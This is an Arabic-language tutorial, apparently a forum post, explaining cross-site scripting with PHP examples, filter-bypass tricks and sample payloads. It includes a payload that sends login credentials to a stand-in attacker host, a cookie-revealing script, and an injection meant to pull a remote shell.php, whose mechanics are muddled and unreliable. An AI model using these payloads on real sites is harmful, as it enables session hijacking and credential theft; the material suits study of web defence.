ما معنى Cross-site scripting

بسم الله الرحمن الرحيم،

2/ ما معنى Cross-site scripting

• يطلق عليه اختصاراً XSS.
  
• قد يسمّى أيضاً JavaScript injection.
  
• يتمثل في إدخال (حقن) سكربتات JavaScript (أو أي scripting language أخرى يمكن أن يتم تنفيذها مباشرة من قبل أي متصفح) ضمن صفحة ما، بحيث يتم حفظ هذه السكربتات بشكل دائم في قاعدة بيانات للموقع، أو لا تحفظ بالضرورة وسيتم ذكر السبب بعد قليل بمثال.
  
• تظهر XSS عندما لا يكون هناك تحقق على القيم المرتجعة من قبل المستخدم بحثاً عن الرموز الممنوعة مثل
  ' (single quote), " (double quote), >, <, \ (forward slash)... الخ (لمزيد من المعلومات عن هذه الفقرة راجع التوضيح المتعلق بتعريف SQL injection)
  
• لا علاقة لنوع الـ HTTP method المستخدمة في منع أو السماح بـ XSS، كلا POST و GET يمكن الاستفادة منه.
  
• XSS يمكن أن يحدث في أي مكان يقوم باسترجاع بيانات من المستخدم واستخدام هذه البيانات في تحديث محتويات صفحة ما، على سبيل المثال لا الحصر، كتابة تعليق على موضوع ما ومن ثم أخذ هذا التعليق وإظهاره بين مجموعات تعليقات أخرى مباشرة دون فحص.
  
• أحد الأمثلة عن خطأ يمكن أن يتسبب باستغلال XSS (تقريباً نفس المثال الذي تم طرحه في شرح SQL injection):
  
  انسخ الكود

   
  
      <form method="post" action="login.php">
  
          <input type="text" name="name">
  
          <input type="password" name="pass">
  
          <input type="submit" value="login">
  
      </form>

  بفرض أن المهاجم قام بنجاح بالتسجيل باسم هو عبارة عن سكربت أساساً وليس اسم حقيقي، على سبيل المثال:

  <h3>Xacker</h3>

  وكانت صفحة Login.php تحوي التالي:

  انسخ الكود

   
  
  [color= #339933;]...
  
  [color= #990000;]echo [color= #0000ff;]"أهلاً وسهلاً بعودتك يا " [color= #339933;]. [color= #000033;]$name[color= #339933;];
  
  [color= #339933;]...

  والتي تقوم بإظهار رسالة ترحيب شخصية للعضو، وبما أن PHP تظهر خرجها بشكل HTML فما ستتم كتابته في شفرة الصفحة التي تظهر للمستخدم هو:

  انسخ الكود

   
  
  أهلاً وسهلاً بعودتك يا <h3>Xacker</h3>

  ويكون الإظهار (لاحظ كيف يقوم وسم <h3> بالتأثير على الظهور لأنه يعالج كـ HTML):

  أهلاً وسهلاً بعودتك يا Xacker

  لنفرض أن المهاجم قام باستبدال الكود السابق بالتالي:

  Xacker<script>alert(document.cookies)</script>

  من الواضح أن هذا المثال فقط للتوضيح، فما يحدث هنا هو أن الاسم سيظهر ضمن الترحيب بشكل طبيعي وما يتبقه سيبقى ضمن شفرة الصفحة ليتم تنفيذه حيث يقوم بإظهار تنبيه للمستخدم بداخله بيانات الكوكيز المستخدمة (فرضاً) بتسجيل معلومات الدخول، طبعا المهاجم لن يقوم بهذا وإنما سيقوم بتحويل بيانات الكوكيز إلى موقع خاص فيه باستخدام جافاسكربت أيضاً وأي شئ آخر يستطيع استخدامه. الطرق كثيرة والتوضيح هذا للتبسيط فقط.

• كيف يتم عادة استغلال XSS هو أمر يعود للطريقة التي تمت كتابة شفرة الصفحة فيها، فقد يكون كما في المثال السابق كتلة معلومات كاملة تؤخذ من المستخدم وتكتب في الصفحة كما هي تكون بكاملها عبارة عن استغلال XSS أو قد تكون معلومات ما تؤخذ ويتم إدخالها ضمن وسم (tag) HTML كنوع من البارامترات، مثلا البريد الالكتروني الخاص بك في موقع ما.

مثال من موقع بدون ذكر اسمه، يقوم بأخذ بريدي الالكتروني ويقوم بمعالجته ضمن ما يشبه التالي:

انسخ الكود

 

[color= #990000;]echo [color= #0000ff;]"<a href=[color= #000099; font-weight: bold;]"mailto:' . $myEmail . '[color= #000099; font-weight: bold;]">Contact me</a>"[color= #339933;];

أستطيع أن أقوم بإدخال القيمة التالية كنوع من أنواع الاستغلال:

myemail@somewhere.com\">";include "http://evilwebsite.com/shell.php";echo "<span style=\"

والتي ستدخل في صفحة الـ PHP بالشكل:

echo "<a href=\"mailto:myemail@somewhere.com\">";include "

http://evilwebsite.com/shell.php";echo "<span style=\"\">Contact me</a>";

وفي النهاية تكتب كخرج HTML:

<a href="mailto:myemail@somewhere.com">سيتم تنفيذ محتوى shell.php في هذا الجزء مهما كان<span style="">Contact me</a>

لاحظ كيف قمت بإغلاق الوسم الأصلي باستخدام escaped dbl qoutes وكيف أني قمت فعلاً بإدخال إيميل نظامي فهناك حالات لا تريد للمستخدم أن يشك بما يحدث فتقوم بإدخال كل ما هو مطلوب ليظهر بشكل طبيعي لكن في الطبقة السفلية تكون هناك سكربتات يتم تنفيذها في الخفاء.

لاحظ أيضا استخدام لوسم مثل SPAN وبدون أي style حتى أقوم بإخفاء مخلفات الكود الأصلي السابق ;)

في النهاية سيظهر الرابط بشكل عادي وكأنه يقوم فقط بإرسال ايميل لي لكن في الحقيقة ملف PHP قام بتنفيذ العديد من الأمور الموجودة في shell.php الموجود على موقعي ;)

• XSS يمكن أن تكون بسيطة وتظهر بسهولة ويمكن أن تكون معقدة وتحتاج إلى الكثير من الحيل في حال تم استخدام طرق فلترة للرموز الممنوعة. في النهاية إما أن يكون هناك طريقة لتجاوز هذه الطرق أو لا يكون والأمر عائد لمهارة مبرمج الموقع.
• XSS ليست بالخطر البسيط، فالأمر لا يتعدى مجرد تشويه محتويات موقع أو سحب بيانات كوكيز أو ما شابه، لكن تخيل وجود مثل هذه الثغرة في موقع بنكي لديك حساب فيه وقمت باستلام رابط من شخص تثق به لكن ما حدث هو أن هذا الرابط قام بتنفيذ استغلال XSS جعلك تقوم بإرسال كافة أموالك لهذا الصديق العزيز.
• XSS ليست بالضرورة من داخل نموذج FORM ضمن الصفحة، فقد تكون ضمن بارامترات تستخدمها صفحة php بعيداً عن طلب مثل هذه المعلومات منه، وهو حال اكتشاف استغلالات XSS في نسخ المنتديات مثل IPB أو vBulletin فليس بالضرورة أن يكون الاستغلال نتيجة كتابة تعليق أو مشاركة فقد يكون في جزء بعيد كل البعد عن هذا الأمر.
• طرق الفلترة عديدة وعليك بمراجعة الاختصاصيين في هذا المجال، أنا على الجانب الخاطئ من هذا الأمر :lol:
• بعض طرق الفلترة الغير فعّالة (مثل البحث عن > و < ضمن المدخلات) يمكن تجاوزها باستخدام الشكل المقابل وهو %3C و %3D

أو تجاوز البحث عن الـ single quote من خلال استخدام '

• أحياناً يتم استخدام عدة طرق لتمويه الاستغلال بحيث لا يتم كشفه مثل unescape في جافاسكربت حيث يكون الاستغلال مكتوباً بتمثيل ست عشري بشكل كامل.
• هل تعلم أن UTF-7 تم استخدامها في ثغرات XSS لتجاوز طرق فلترة!
• هل تعلم أن المواقع التي تستخدم session للتصديق على عضوية ما (كي تتجنب موضوع سرقة الكوكيز) يمكن إتخاذ تدابير أخرى ضدها مثل session fixation لو وجدت فيها ثغرات XSS؟
• هناك من يقول بأن JavaScript لا يمكنها تنفيذ أي تعديل في صفحة أخرى ما لم تكن قد قامت بفتح تلك الصفحة (بمعنى لا تملك شئ يشبه الـ handle أو الصلاحية على هذه الصفحة). أقول له استخدم Ajax، فهي قادرة على نقل الـ authentication ضمن كامل النطاق!

هل تعلم أن استخدام Ajax مع جافا سكربت في موقع يحوي ثغرة XSS أمر خطير جداً؟ مثال: Samy worm أو تدعى بـ MySpace worm.

• هناك من يقول بأن JavaScript تتبع توصيات DOM ولا تقوم بتنفيذ أمر ما يأتي من خارج الـ domain الذي توجد عليه الصفحة، جوابي له "JavaScript proxy" --> "XSS can abuse websites from another domain"
• أمثلة عن XSS مأخوذة من shmoocon:

Client can reveal cookies to 3rd party (session state, order info, etc)

http://host/a.php?variable="><...</script>

Client can reveal posted form items to 3rd party (userID/passwd, etc)

<form> action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;" </form>

Client can be tricked into accessing/posting spoofed info to trusted server

www.trustedserver.com/xss.asp?name = <iframe src=http://www.trustedserver.com/auth_area/orderupdate?items=4000></iframe>

Client can be tricked into attacking other sites

/hello.asp?name = <iframe src=http://vuln.iis.server/scripts/root.exe?/c+dir></iframe>